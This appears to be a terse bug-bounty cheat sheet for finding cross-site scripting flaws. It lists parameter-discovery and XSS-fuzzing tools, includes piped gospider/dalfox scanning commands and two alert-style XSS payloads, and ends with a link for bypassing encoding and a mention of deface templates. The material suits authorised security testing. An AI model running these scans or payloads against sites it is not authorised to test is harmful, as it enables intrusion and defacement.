❌xss

Get Parameter as much as possible

1. https://github.com/devanshbatham/ParamSpider

2. gospider -S tageturls.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'|grep "=" | qsreplace -a | dalfox pipe -o result.txt

3. Waybackurls | gau

4. https://github.com/s0md3v/Arjun

5. https://github.com/hakluke/hakrawler

6. https://github.com/PortSwigger/param-miner

Combine all in a file and remove duplicates.

Run XSS fuzzer

1. https://github.com/s0md3v/XSStrike

2. https://github.com/hahwul/dalfox

Resources:

• https://blog.yeswehack.com/yeswerhackers/parameter-discovery-quick-guide-to-start/

• https://infosecwriteups.com/tale-of-my-first-xss-27f622bc47c0

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dalfox usage:

gf xss domain.txt | grep -Eo 'https?://[^\"]+' > domain.txt
dalfox file domain.txt -w 20 --silence

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another technique to find XSS

• Scrape all urls from the domain using gau

• then sort the result using grep command: cat url.txt | grep “utm_”

• do testing

resources:

• https://santoshdbobade.medium.com/how-i-got-reflected-cross-site-scripting-rxss-on-manchester-metropolitan-university-700b36cb4f53

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Custom useful XSS Attack Vectors

testing"><img/src=x onerror=alert(/XSS/)//
testing'-alert(2)-'xss

Encoding Bypass:

https://d3adend.org/xss/ghettoBypass

Deface XSS Templates:

Script Deface Downloader